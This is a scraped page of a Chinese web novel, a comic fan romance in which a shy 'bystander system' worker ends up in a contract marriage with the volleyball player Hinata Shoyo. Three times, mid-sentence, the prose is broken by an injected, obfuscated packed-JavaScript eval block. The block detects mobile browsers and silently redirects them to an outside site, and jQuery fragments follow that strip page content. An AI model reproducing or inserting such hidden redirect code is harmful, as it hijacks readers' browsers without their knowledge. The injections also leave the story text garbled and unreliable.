《拜托了,请和我结婚!》
1. 第 1 章
黑川一一成年就应聘成为路人系统持有者,如今已经是系统年度优秀员工,日常主要负责在主角的全世界路过。
当然偶尔也会掉落一些特殊任务,比如帮忙当当舔狗炮灰,做做助攻什么的。
又一次完美完成爱的助攻,我接到了系统最新发布的紧急任务。
任务没什么特殊的,但任务奖励是一年带薪休假!
“啪!”地一声我就接了下来。
一起摸鱼写任务报告的前辈看了眼瞬间消失的突发任务:“这种世界不是很稳定,说不定会发生意料之外的事情,小一不再考虑一下吗?”
身为年度优秀员工的成熟社畜面对前辈担忧的眼神,我壮志酬筹的勾起颜色浅淡的唇角。
“不要小看我和路人系统的羁绊啊,前辈,为了一年的带薪休假我不可能做不好!”
我瞟了一眼任务奖励。
不存在的泪水从嘴角流了下来。
我在前辈狐疑的眼神中,将身体从柔软的小床里撕开,飞速写完拖了一个星期的任务报告,眼里没有一丝游戏,满是对工作的渴望。
我虽然对路人工作没有什么不满(其实超满意),可是超过三天的假期已经是社畜难以触碰天国。
而!现!在!
一年的带薪休假就在眼前。
我眼神坚定:“作为年度优秀员工突发任务我义不容辞!就算是主角我也做给你看!”
……
虽然当时是这样说的。
我双目无神的看着用二号宋体加粗显示的系统名称,第三十九次狂戳反馈按钮。
我可爱的路人炮灰系统,怎么水灵灵的变成了先婚后爱系统!多洗爹——
好可怕!
这对吗?这是我应该做的任务吗?!
我发出了无糖白面馒头的尖叫,可这并不能阻止已经开始说话的任务对象,以及在我坚持不懈下卡成灰色的反馈键。
“黑川桑是怎么看的呢?”
坐在对面的男人,嗯,我被他脸上的笑容闪了一下,表情仍然是呆滞的木然,眼睛里却已经开始积蓄起了水雾。
众所周知,我能够成为路人系统的忠实拥护者,除了主观能动性,自身的条件也是必不可少的因素。
漂亮娇美的容貌,闪亮水润的大眼睛,玫瑰般的嘴唇,雪白柔软的皮肤,善良开朗的性格等等。
以上随机组合就是主角系统工作人员的配置。
而我一个都没有。
甚至我还是个面瘫。
可事到如今,阿姆斯特朗回旋加速气炮到O前不得不发,我回忆着培训带来的贫瘠恋爱知识,试图对攻略对象露出一个可爱腼腆的表情。
气氛因为我僵硬的表情短暂凝滞了两秒,我在对面如阳光般灿烂的眸光注视下,狂冒冷汗,在心中呐喊。
死脸快动啊!
……
我成功了。
脸上的肌肉被生涩牵动的感觉很清晰,仿佛自动配上了嘎吱嘎吱的机械音,不过也掩盖不了我心中的振奋。
就算只是一个笑容也不错,是完成任务的一小步,却是一年带薪休假的一大步!
我维持了两三秒笑意,一边在心中为自己喝彩,一边用一个比较镇(老实巴交)的姿态回答。
“没问题的哦,日向君。”
随时可以领证开启主线任务(哼哼)!
我将请求结婚的话矜持的咽了下去,按照原本的走向来说,应该是对面的攻略对象先提出。
然后我再顺理成章的答应,两人结婚虽然是各取所需,但在婚后攻略对象一步步被我日常所展现的美好所打动,一步步命运般的爱上我。
……等等,我日常中有什么美好的、让人有所期待的东西吗?
我迟疑了一下。
对面的攻略对象也露出了一个迟疑的表情,灿烂的橘色双眸中似乎有些抱歉。
我心中生出不太妙的预感。
“抱歉黑川桑,我想了想,伪装结婚这种事情果然还是不太好,请原谅我一时昏头提出的无理要求。”
什……什么?
就算说着拒绝的话,对面的攻略对象君仍然散发着一股让我完全生气不起来的真诚。
简直和透过玻璃窗洒在那头耀眼橘发上的阳光一样,灿烂又充满让我忍不住闭眼的生命力。
我呆滞的伸出尔康手,想要尝试着挽留一下,过于苍白的手指刚搭上他的衣摆,脑海中就传来一阵爆破音。
前辈的尖叫传进耳膜:“阿一,事情出了点差错,主系统短路搭错线,你现在在先婚后爱主角组!!!”
我残念的表情一亮:“前辈——那我现在就撤!”
前辈的声音骤然冷静下来。
“别想了。撤退什么的是不可能的,每个需要维系的小世界都是独一无二的,我们短时间无法再链接第二位员工了。”
前辈的尾音逐渐上扬可可爱爱的说:“所以!阿一这次的任务还是要加油哦,我已经给你申请好了一年带薪休假了,在完成任务后(比心)。”
我的身体仿佛从地底刚爬出来被阳光曝晒后的阴暗生物,一举一动都发出咔咔的滞涩声响。
我目送那道橘色的身影消失在街角,捏着手指小声说:“可是我前置剧情失败了。”
系统通话对面陷入死一般的宁静。
半晌,前辈若无其事的声音传来:“啊,我今天没戴眼镜出门,有点听不清,先挂了。”
“咔哒。”
我无助的眼泪最终还是从眼里喷射出来。
“前辈!前辈不要放弃我啊!”
我面无表情坐在原地哭了一会儿,为我逝去的豪华假期。
过了好半晌,靠着强大的自我安慰能力,我微微吐出一口气,起身走了出去。
没关系,往好处想趁着还没被系统判定失败弹出,我可以主动在任务世界给自己带薪休假。
兢兢业业工作的工资都是精神损失费,摸鱼划水换来的才是我应得的。
想着带薪休假,我又重新立了起来,脚步一转丝滑的飘进了M记。
总之还是先犒劳一下自己。
(绝对不是为了玩具。)
我端着餐盘,选了一个绝佳的阴暗角落坐下,虔诚的双手合十:“虽然今天什么都没做到,但还是辛苦我了,我开动了。”
“噗嗤!”
一道刚刚才听过的熟悉声线带着点不确定在身后响起:“黑川桑?”
我闭着眼睛面无表情转了个方向,硬着头皮睁开眼睛,企图当自己没听到,继续进食。
虽然知道这样有些没礼貌,但是我真的很不擅长应对这种真诚阳光系小狗。
并且既然都已经决定带薪休假了,那就当做是陌生人也没问题……吧?
反正之后也不会见面了。
那道声音并没有因为我冷淡的态度而气馁,竟然带上了几分愧疚:“抱歉我……”
前面也都说了我是绝对不会被主角系统选中的路人角色。
所以被这样充满善意的道歉,我非但没有感觉到开心(活人微亖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279038|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才是常态),面对攻略对象日向君的真诚攻击,反而觉得有些棘手和烦躁。
也许是我这种角落中的阴暗路人忽然被阳光照亮,升起一丝丝陌生舒适的同时,还升起了“这绝对不属于我”“好刺眼要被刺瞎了”“本来已经很难过了,能不能马上消失”的叛逆。
我将塑料小勺恶狠狠地插进被搅得毫无食欲的冰淇淋杯里,不客气的打断了他的话。
语速超快。
“抱歉什么的就不必了,日向君也没做什么,不必对我感到抱歉,而且对我来说口头上的抱歉也单纯的起不到任何作用,如果你想要安慰我的话,那就请和我结婚吧。”
“呜啊……”
一声惊叹插入了这个沉默的角落。
刚刚完全没经过思索口出狂言我倏然僵住了。
什……什么时候来的第三个人?!
我被尖锐情绪冲昏的头脑清醒过来。
因为日向君人看着就超好,结果没控制住欺负人这件事重重的压在我还未泯灭的良心上,传来阵阵刺痛。
“刺啦!”
我尴尬的站起来,双手手指紧紧的扭在身前,朝日向君九十度大鞠躬。
“非常抱歉,请一定不要把我刚才的屁话放在心上!结婚这种事情果然还是要喜欢的人才行,日向君是对的,请一定认真考虑!”
“失礼了。”
我发挥出一个宅女最强大的身体素质,消失在两人面前,砰的一声将脑袋磕在居所冰凉的餐桌上。
“真可怕啊我。”
“居然能捅出这么大的篓子,当初系统怎么没把我分到恶毒女配组呢?”
“感觉说不定还挺有潜力的。”
我抓着头发,让自己不要再回想起攻略对象惊愕的表情,可越是阻止脑海中的记忆就越是频繁出现。
最终我平平整整的躺在榻榻米上,双手交叠放在小腹,僵硬的脸上出现一丝平静的笑容。
越想越觉得自己好像会成为攻略对象作为阳光黑皮体育生,积极向上一生当中的阴影。
好抱歉,好罪恶,好尴尬。
“还是切腹谢罪吧我。”
我瞪着无神的死鱼眼指尖点上了面板上猩红的强制退出按钮,扣绩效什么的、记过什么的、带薪休假什么的无所谓了。
还是赶紧撤退吧。
我熟练的打着退堂鼓,给自己找好了借口:“反正我这种人是不可能完成主角任务的,还不如早点给别的同事腾出重置时间。”
强制按钮被按下的一刹那散发出闪瞎我狗眼的光芒。
“窝草!”
我睁开眼身体还停留在原地,手里多了一把闪烁着寒光的短刀,双眼发直。
“狗系统强制退出玩这么大!?”
只是随口抱怨一下,我并不是真的下得去手切腹自尽的啊!
我无语的把重量压手的短刀掂了掂,打算找个地方藏好,也不知道这里查不查管制刀具。
“黑川桑你在干什么……等等不要冲动!”
忽如其来的声音伴随侧面扑过来的黑影,让我手抖了一下,短刀掉了下去。
“嘶!”
我顾得不研究忽然出现在我家的攻略对象,按着手上的刀口整个人在地上缩成小虾米。
好疼!
狗系统!
怎么会这么痛!
我眼前一黑晕了过去,最后印入眼帘的是任务对象焦急惊恐的脸。
被疼痛占据的脑海,忽然挣扎着蹦出几个字。
完蛋了。好丢脸。
2. 第 2 章
我捂着飙血的手蜷缩成小虾米,强制退出键被扔在一旁,耳边是青年慌张的声音。
似乎是在问我好不好。
……不好。
我在心里任性的回答。
我缓过手上涌上的锐痛,眼角挂着两颗泪花,被凌乱的额发遮挡,眼前落下的小片阴影让我多出了几分安全感。
被疼痛攻占的迟钝大脑开始处理重要信息。
眼前闪烁着的是无人能看见的红光。
【警告!即将丢失重要工作组件,请立即回收,并上传错误工作日志!】
……
我真实地感觉到了眼前一黑。
从地上蛄蛹着站起来的姿势不太好看,毕竟我两只手都被人生重开键弄伤了。
人生重开键。
我给强制退出按钮恶狠狠地地地取了个难听的名字,用来报复毫无人情味的系统。
虽然心里还在怒骂狗系统不做人,但我的身体还是诚实地地地开始回收系统组件,要是出了岔子,想想我可怜的存款,唔,说不定还要贷款上班。
“等等,日向君,可以请你把它还给我吗?”
日向翔阳没想到不放心回到公寓会看到这一幕,从小到大运动比赛锻炼出的大心脏,现在还有些心有余悸的发颤。
他担忧地看了没有给出反应的黑川小姐,还是决定先把来历不明的危险刀具藏好。
今日收到的黑川一递到巴西的消息很突然,日向翔阳是训练完直接去见的人,身上还穿着圣保罗Asas的队服,宽松的运动外套原本是好好地拉到领口。
可刚才在路上被某种直觉催促着,一路加速跑了回来,拉链此时也随意敞开。
浅色的队服外套忽然传来细微的拉扯感。
气弱的声音从身后犹豫着传来:“那个……日向君?”
日向翔阳只好放弃先把危险物品藏好的想法,转身看向黑川一,即将要入职圣保罗Aasa的理疗师。
……并且也同样被家人催婚得很辛苦。
那天他输了一场练习赛,心情低落,原本例行礼貌的问候在对方在聊天框中苦恼倾诉时变了味,脑子打结提出了假装结婚。
没想到对方一口就答应下来,而且提前结束入职前的休假,奔赴巴西来找他。
日向翔阳感到很愧疚。
他是一个心中只有排球的家伙,和他结婚绝对不会感到幸福,他有这样的自觉。
假装结婚的话,黑川桑要付出的绝对比他要多。
会很辛苦。
不能这么麻烦别人。
这是不对的。
在和黑川一见面之前他已经打了无数遍腹稿。
……黑川桑一定很难过才会这么做的吧。
他总是精神奕奕的眉眼有些难过地低垂下来,配合在巴西的训练晒成蜜色的皮肤,像是一只失落的橘子小狗。
他很快弯唇露出一个爽朗的笑容,带着安抚的意味。
“黑川桑,不要着急,你慢慢说。”
说起来之前都是隔着聊天软件,这还是他第一次看清黑川一的模样。
瘦。
黑川一很瘦,露在长袖长裤外的脚踝和手腕两根手指可以轻松圈起,关节处的骨骼格外明显。
个子在日本都不算高,发顶刚到他的肩膀,配合上那身过于苍白的皮肤,让他有些担忧。
因为排球这项运动的特殊性,大部分运动员的身高都很高动辄一米九两米,作为理疗师会经常为大家放松理疗运动过度的肌肉。
黑川桑她可以吗?
日向翔阳先入为主的思虑着,一时间并没有想到,眼前的黑川一是球队从日本挖来的人。
他橘色的双眸看向黑川一的眼睛……她微微低垂着脑袋,额头的黑发将那双眼睛遮挡,拒绝一切探视。
“请问能还给我吗?”
日向翔阳眨了眨眼,才忽然意识到她说的是被他握在手里的短刀。
我盯着那行红字后不断跳动的倒计时,眼神时不时看向落入他人之手的退出组件,鼓起勇气抬头和任务对象对视。
啊,好闪。
我又匆匆垂头,将被青年脸上善意灿烂的笑容闪到的双眼转了转,轻咳一声:“可以把它还给我吗,那对我很重要。”
对我的工资很重要。
很好,说出来了。
善良的任务目标先生应该会带着安抚的笑容,把东西还给我,我提交给系统,保全基本工资——完美。
“不行哦。”
我刘海下的双眸微怔。
拒绝了?
果……果然是我给他添麻烦了?
刚才不应该一时上头就在这座公寓里强制登出的,身体会传送回去,但说不定会留下一大滩难以清理的血迹。
我懊恼地咬唇,已经想起来我初来乍到,目前手中的公寓钥匙还是任务目标寄给她的。
也就是说他们现在在合租。
我的心往下沉,几乎是条件反射的开始自我反省,胡思乱想了一大通之后,垮下肩膀。
算了,要扣就扣吧。
反正我原本也只是路人系统的工作人员,做不好也是正常的。
我游离的目光忽然僵住,落在我捏着的衣角上。
圣保罗Asas身为巴西顶级球队,队服做工自然很好,浅色的队服穿在他身上很有阳光硬朗……有种别样的气势。
可现在做工精致的队服衣角沾上了一片不规则的鲜红血迹。
闯祸了。
我下意识松开手。
这位拥有灿烂橘发蜜色皮肤,浑身散发着对我来说过于健康气息的青年,没有给那片衣角多余的眼神,而是在我面前蹲了下来,似乎叹了口气。
这架势应该是想和我好好谈谈。
据心理学上来说,这样的高度变化,会让人更容易放下心防。
我看着身前的橘色脑袋,心中反而更加警惕起来。
日向翔阳:“我想为你暂时保管一下可以吗?”
来了来了!
为系统扫尾是我的命运我了解。
任务目标绝对认为我是受不了刺激决定切腹,这温柔中带着愧疚的眼神,看得我有点兴奋……打住。
三次元哪有纸片人好。
纸片人不会变心,不会在了解后嫌弃我,也不会随意扔下我离开。
动荡的道心迅速啪叽一声恢复。
我想来想去,还是打算实话实说,对着这双眼睛说谎的话,我的良心会不安。
“你误会了,我刚才没打算做什么。”
“虽然活着也不会发生什么好事,但我保证我还舍不得离开呢,刚才还没来得及放下你就进来了……我吓了一跳就这样了。”
“那把刀真的对我很重要,我保证不会再随便玩了,可以请你还给我吗?”
我为了表达自己的诚恳,身体站得笔直,手指贴着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279039|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裤缝,脑袋向下注视着那双眼睛。
说完才察觉到不对。
诶,对视了?
都说眼睛是心灵的窗户,说话的时候直视人的双眼,有利于增加说服力。
我不认同。
和他人对视会让我感觉撕去遮掩,有种裸露于他人眼前的不安全感。
我眼神又开始飘荡起来,不着痕迹后退一步,躲开任务目标的视线。
可恶,看错他了,看着这么阳光灿烂,结果竟然这么有心机,特意放低海拔和我对视。
我视线乱飘,心情也低落下来,自我保护意识再次占领高地。
“毕竟日向君你已经拒绝过我了,现在应该也没有立场对我管教吧,请还给我吧,那是我的东西。”
我说完后握住短刀的下半部分,往自己的方向抽。
都说这么过分了,他应该不会再管我了,我就是这么难搞而且麻烦的人。
赶紧让我收回系统组件,然后相安无事到任务失败强制抽离好了。
我抿唇忽略心中泛起的酸软。
愧疚。
太软弱了。
明明是我一直在害怕、恐惧、阻止所有人接近。
人不是路边的流浪猫,只是随随便便施舍点善意就能活下去的类型。
那一点点善意,会让我下意识渴求更多,做出更多越界的举动。
还吓跑过长大后鼓起勇气结交的唯二两个朋友。
所以我才拒绝其他人随随便便的靠近,反正最后都是要离开的。
只是为什么会有点愧疚……
我扭过头。
可能是因为这是被系统认定,无论是天赋、才能、还是性情都通过考察,才会被选定为主角系统目标的家伙。
错过这次机会,我可能再也不会在生活中遇到这样的好人。
我想了一会儿,最终还是硬下心肠。
总之,碰上我算他倒霉。
这事儿的起因也不是我造成的,都怪系统!
手中拉扯的力道忽然松开,我松了口气,立即后退一步回到房间里面,打算关上门。
“谢谢。”
“等等……”
一只手挡住即将合上的门,日向翔阳站了起来靠近我,这让我后背不自觉紧绷,眼神警惕的注意着他的动作。
感受到头顶传来的带着暖意的轻抚。
一阵电流顺着头皮窜过脊椎。
我惊愕的睁大眼睛,什……什么?
没想到的动作让我的语言系统暂时崩溃,放在发顶的手是常年运动击球,带着厚重的暖意和坚实。
说实话有点舒服。
我回过神来本应该把那只越界的手拍下去,但是又有点舍不得,只能僵硬的站在原地。
克制着。
总不能真的凑上去蹭蹭吧?
接下来的话更是一道惊雷和系统陡然炸开的喜庆乐声合在一起,让我有点头晕眼花。
“很辛苦吧,我想过了,黑川桑。”
“我们结婚吧。”
天……
天使吗这个人?!
我使劲掐了自己一把确定刚才的不是幻听,才刚使劲掌心钻入一只手拦住,只好探究的看向他。
“结婚……和我吗?”
日向翔阳的表情很奇怪,耳垂有些发红,脸上的表情却很严肃,眼神更是让我有点不敢直视。
“请和我结婚黑川桑。”
3. 第 3 章
一式三份的婚姻届平铺在客厅的桌面上。
我穿着毛绒鲨鱼睡衣双手抱膝蹲在桌边看了很久,神情复杂又空洞。
内心两种想法反复横跳。
这就正式开启攻略任务了?
居然是婚姻届好神奇!不确定,再看看。
这就正式开启攻略任务了?
婚姻届居然长这个模样,从来没想过会和人结婚,还是第一次见。
天呐,我正式开启攻略任务了。
话说回来还好上面不用留有照片,不然我绝对会搞砸的。
……
救命,我居然真的要开始正式做任务了。
完全不知道接下来该怎么办,我身体一动不动大脑陷入混乱风暴。
诶,等等。
联系我们碰面后发生的事情以及日向君的反应,啊果然是这样。
日向君难道是担心我在他看不见的时候重启人生,才故意把我放在身边方便看顾的……吗。
这个世界存在这样善良可爱又有责任感的家伙吗?
我在地上阴暗的胡乱爬行,最终耗尽体力倒在茶几旁,神色安详。
书上说得没错,运动真的能让人的负面情绪减退。
啊,那是什么?
亮晶晶的、带着香味和音乐,从天而降,是天国的天使来接我了吗?
“黑川桑,黑川桑?”
日向翔阳看着地上的蓝色团子,俯身把东西放下,扯了扯她睡衣后的鱼鳍。
“你还好吗?”
我一出溜坐了起来,不想再给他增加心理负担,嘛,不过和我这样阴沉的家伙一起不增加心理负担也不可能吧。
“我很好,多谢关心。”
日向翔阳似乎有些不放心的多看了我两眼,大概是感受到我努力传达真诚,开始进行投喂。
“辛苦一天了,饿了吧,来一起吃饭吧。”
我看着桌面上散发着香气的日式定食,心里有点麻麻的,眼神感动得发光。
“我会心怀感恩吃下去的!”
“虽然很感谢,但也不用这样……”
我看了对面的日向君一眼,在被发现之前迅速移开目光。
心中熟练打起退堂鼓。
谁要攻略他?我吗?真的假的?
冷静下来想想……大概也是不可能成功的程度。
算了,往好处想,万一有一天日向君忽然性格大变,喜欢上我这种既普通又阴沉的类型呢。
可能性虽然很小,但绝不为零。
在那天降临之前,还是先吃饭好了。
“好厉害!日向君的手艺好厉害!”
我用匮乏的形容词,诚心诚意地赞美我人美心善的攻略对象,风卷残云地将我的那份解决完毕。
路人系统的工作餐是谋杀味蕾的营养剂,毕竟没有人会注意路过的NPC会吃什么。
我差点忘了主角系统还有这样幸福的福利待遇。
太幸福了。
主角系统的员工都过的是什么好日子。
过上这样生活,就算是让我在这里生活一辈子也愿意啊。
为了还能再吃到这样美味,我主动承担了清理碗筷的工作,一个人在厨房的时候我还是没忍住哼出不成调的快乐小曲。
先是这样,再那样,然后全部放进洗碗机,完成!
我拍拍手转身,身体一僵。
日向翔阳不知什么时候站在厨房门口,带着暖意的目光落在我身上,好像有什么话要说。
我刚刚哼歌被听见了还是刚刚的步骤有哪里不对?
就在我开始下意识检讨反思的时候,他开口了。
“黑川桑,我们是结婚了对吧?”
我下意识肯定地点点头:“没错哦。”
嘶!
我忽然灵光一闪,曾经看过的偶像剧在脑海中飞快过了一遍。
难道说约法三章虽迟但到!
我心头升起了点事情总归走在正轨上的欣慰,然后又有点诡异的不安和失落。
协议结婚都是我的借口,我的终极目的是接近他完成攻略,万一日向君提出的条件太严格的话,任务岂不是完全没有机会了?
经历过前置任务都能被玩脱的大场面。
我决定率先提出,这样被拒绝了的话……总之,我已经努力过了(躺)。
日向翔阳沉默地听完了我的话,有些迟疑地开口:“第一条在外人面前装作普通同事关系,可以理解。”
毕竟黑川桑也不是因为喜欢才和他结婚的。
“第三条如果任何一方有喜欢的人,都可以中止婚姻,也合理。”
“但是……第二条,每天要在一起吃饭的话……”
我的心提了起来,事情非常明显,第二条显然是我非常明显的夹带私货,一起吃饭就能每天有固定的接触……还能让我蹭饭(幸福。
一举两得。
我观察日向君的脸色,显然夹带私货计划即将滑铁卢,我失落的把探出的触角迅速回缩。
“咳,其实也不定每天。”
我迅速调整方案:“隔天……不,一个星期三天也可以。”
身高177但能够在巴西顶尖排球队担任王牌的日向翔阳君,虽然脾气很好,但我从来没有的将他看成可以随意让我摆弄的滥好人。
更准确的来说我超级尊敬这种能够在自己喜欢的领域拼命然后做出成就的人。
所以在短暂的沉默中,我再次窝囊的提出:“其实一周一次也不是不行。”
“噗嗤!”
一直沉默着注视我的日向君居然笑了。
我看着他脸上绽开了一个超级放松的笑容,他笑起来的时候眼尾和眉毛会上扬,嘴巴自然咧开张扬的弧度,很有感染力。
很漂亮。
如果能拍下来就好了。
我想。
过了好半晌他才止住笑意,用指节擦了擦眼角的泪花:“抱歉,抱歉,刚才实在是没忍住。”
“呐,黑川桑,刚才在想什么?”
“在想笑得很好看,如果拍下来,我一定会会给所有人好脸色。”
我即答。
空气短暂的停滞了一会儿。
我和他同时僵住。
把心里话直接讲出来的社死场景,仅次于心里话会直接展现在头顶的可怕幻想,我头皮发麻的打算结束掉对话。
并且决定今天不再和日向君开启新的对话。
“啊,那个,请不用放在心上,我有时候会下意识胡言乱语,总之,今天就到这里吧,晚安。”
我从他身边的缝隙里窜了出去,准备缩回让我有安全感的被窝,迅速进入睡眠来忘掉刚刚的社死。
……简直跟痴汉一样啊我。
死脑,不要再想了。
“等等!”
我的双脚忽然腾空,徒劳的扑腾了两下,才后知后觉的发现肩膀两边多出的两只手。
还没等我过载的大脑反应发生了什么,我的双脚就已经重新接触到地面。
而日向君再一次在我面前蹲下来。
他似乎觉得这样能更有效的和我沟通。
其实我自认为还算比较好说话来着,虽然也没有什么人会这么郑重的和我说话就是了。
我heart软软的站在原地,忍住了迈入两步之遥的房间龟缩起来的冲动。
日向翔阳表
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279040|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情有些抱歉:“我没有嘲笑黑川桑的意思,只是觉得刚才明明有点不甘心却还是主动让步的样子很可爱。”
我眨了眨眼。
他橘色的双眸明亮:“明天黑川桑也要入职了,不出意外的话你会一直跟队,我们完全可以一起吃饭。”
我渐渐感觉耳尖开始发烧。
他眼中倒影着我穿着毛绒睡衣绝对称不上漂亮的形象:“其实我最开始想说黑川桑的身体好像有点太瘦了,从明天开始我会好好监督黑川桑吃饭和规律作息的。”
“不过黑川桑刚才说的话也很有道理,我全部答应了哦,作为我们的约定。”
他朝我伸出小拇指。
我面上还是没什么表情,当然大部分时候我都是这样,一只手下意识捂上心口,感受其中逐渐加速的心跳。
一边伸出小指和他定下约定。
关上门的那一刻,我原地的团成一团,想要让自己冷静一点。
这个姿势却让我能更加清晰的听见自己的心跳,如此轻易的、热情的、粘稠的为的一个人欢欣鼓舞的跳动。
“好厉害。”
“跳的这么夸张,我不会是……熬夜过度要猝死了吧,不行,就这样死掉的话,肯定会吓到好心人日向君的。”
我面无表情的开始打开系统百科。
最终一脸空白的叉掉页面。
原来不是要死掉了。
只是不小心心动了而已。
我·路人系统年度优秀员工·休假奋斗者·阴暗死宅·主角系统初体验中,成为了最快完成任务的反面教材,最快把自己搭上的员工。
我幽魂一样泡澡,幽魂一样完成日常任务,然后幽魂一样在日常的凌晨三点钻入安全柔软的被窝。
闭上眼耳边好像已经听到了任务失败后,前辈嘲笑的声音。
睁开眼对着一片黑暗好像又看到了日向君耐心和自己约定时看过来的眼睛。
睁开,闭上,睁开,闭上。
“咚咚咚!”
充满精力的声音从门外传来。
“该起床了哦,吃完饭我们一起去晨跑吧。”
我倏然挣开了爬满血丝的双眼,无神的看着天花板不受控制的放空了一会儿,才开始理解他的声音。
我活动着僵硬的身体,死气沉沉的从床上爬起来,拉开门对上日向君的脸,我细细感受了一下。
啊,没有心跳加速。
太好了,昨天的果然是错觉。
喜欢上别人和认为别人喜欢我,对我来说都是一件很难自如处理的事情,简单来说结果就是无法和这个人进行普通的交流。
总之,会很麻烦。
我不想和日向君变成那种僵硬的关系。
所以太好了。
“早上好。”
“早上好黑川桑,啊洗漱好了吗?今天时间来不及了,先来吃早餐吧,从这里去俱乐部十分钟就够了。”
“嗯……”
被关心照顾的感觉很好,但是困顿的我反应有些迟钝。
肩膀上被搭上一只手,我被带着在餐桌前坐下,丰盛的早餐和日向翔阳的脸同框出现在实现里。
我眨了眨眼,按了一下胸口,镇定的说:“我已经清醒了日向君,还有你吓到我了。”
“啊哈哈是这样吗?今天报道黑川桑准备得怎么样?对了,下班后一起去超市买点必需品吧?”
“……诶?黑川桑你怎么这么僵硬,等等!那是调味的辣椒!”
我味同嚼蜡的吞下辣椒,任由日向君戳戳我的脸颊。
终于后知后觉的发现,我要开始每日打卡上班了。
摸了摸自己发现硬硬的原来是死了.JPG
4. 第 4 章
阳光不好,风有点大。
本来今天是去球队报道的日子,但临时接到通知,等我的资料处理完毕后,再通知入职。
好耶!暂时不用上班了!
天空上慢慢游走的暗色云彩也变得有趣起来。
但是……
我默默把外套拉链拉到最上面,又把兜帽戴了起来,特意挑选的宽大帽檐将透着不健康苍白的脸遮挡大部分,只露出了一小半下巴。
“好……好像有人视线不经意飘过来了。”
我把露在外面的双手也揣进外套,从站在路边等人的姿势,转变为背对众人,又在幻想中如芒在背的错觉中,缓缓蹲下。
“明明以前在工作中,就算是不小心跌倒也不会有人看过来,但是现在……不妙啊……”
我额头渗出一点点细汗,躲在阴影里。
不是错觉,绝对有很多人在看我,是我穿的哪里不对吗?还是身上哪里有污渍?或许是站错地方了?
要不要先回去算了,日向君一定不会怪我的。
不行,昨天已经答应一起外出活动,唔,我还不想这么快让人失望来着。
我蹲在路边,暗暗给自己打气。
“……黑川桑?”
我身体僵了一下,迅速从地上窜了起来站直身体,帽子也随着动作滑落下去,黑色的长发散落下来挡住小半张脸。
我飞快看了一眼日向翔阳以及他身边穿着相似队服外套的青年,镇定的打招呼:“日向君。”
声音平稳,尾音正常没有发颤,表情也OK。
完美。
如果日向君身边的青年不要看着我就更好了。
怎么办……要率先打招呼吗?
不愧是主角系统的任务,以前我就从来没有遇到过这么难抉择的问题。
橘发青年似乎有些惊讶,那缕惊愕的表情在我求救的看过去的时候迅速敛去,我内心怀疑他是不是忘记了昨天晚上的约定。
说不上什么失望,我忽然松了口气。
太好了,只有我一个人记得的话,待会儿装作其实什么都没发生好了。
我只是出来散散步,嗯。
然后我就听见日向君和他的队友介绍了我。
“艾利克斯,这是我的……朋友,我们暂时住在一起,黑川桑,这是艾利克斯,我的队友。”
艾利克斯是一个身高目测大概接近一米九的外国人,深绿色的眸子低垂着看过来的时候,让我有种被什么可怕的东西盯上的错觉。
还好他只是在我身上扫了一眼,随意的打了个招呼就移开了视线。
看起来对我丝毫不感兴趣。
我心中雀跃着,同样回应了一句,然后迫不及待看向日向君。
虽然我们认识也不过才几天而已,不过日向翔阳是个好人这件事,已经在我心中已经根深蒂固。
我朝他发射意义为好想快点离开的期待视线。
结果一道格外高大的身影挡住了我,并且搭着日向君的肩膀带到一旁说起悄悄话。
不知道是不是错觉,他们说话时艾利克斯的眼神似乎还往我这边扫了一眼。
……绝对不是错觉。
我的观察力可不是普通路人的等级(哼哼)。
不知道第一次见面怎么就让艾利克斯对我有意见,我陷入了沉思,手指扯了扯身上阴沉沉的黑色外套。
“走吧,黑川桑。”
我双眸看向站在我身前的日向君身上。
我又没有说过被那双认真的橘色的眼眸关注着的时候,我会毫不犹豫抛弃心中滋生的各种低落负面的情绪,思绪会不自觉灌注在他身上。
好吧我没说过。
因为这完全是上一秒突然蹦出来的想法。
如果这是小说中的世界的话,那日向翔阳绝对会是主角团中,能够驱散一切阴霾的牧师!
奶妈啊呜呜,我回血了。
表面一套背后一套的艾利克斯快从我脑子里滚出去。
“好啊。”
我不擅长驱动的面部肌肉让人看不出我刚才脑子里山路十八弯的思绪,淡定的对着那双眼睛应答。
快去超市吧,今天的活动量快要达标了。
诶,等等,对视?
我瘫着脸步幅极大的后退了一步,双眸震撼的微微睁大,诶?
为什么日向翔阳他又蹲下来跟我说话啊!?
橘发蜜肤的青年似乎也被我过大的动作惊到了,但仍然待在原地没有擅自靠近,只是歪了歪头。
“怎么了?”
颜色灿烂的短发饶是早上已经打过发胶,经过一天的运动,已经变得格外松软。
随着他的动作,蓬松的短发随之摇晃。
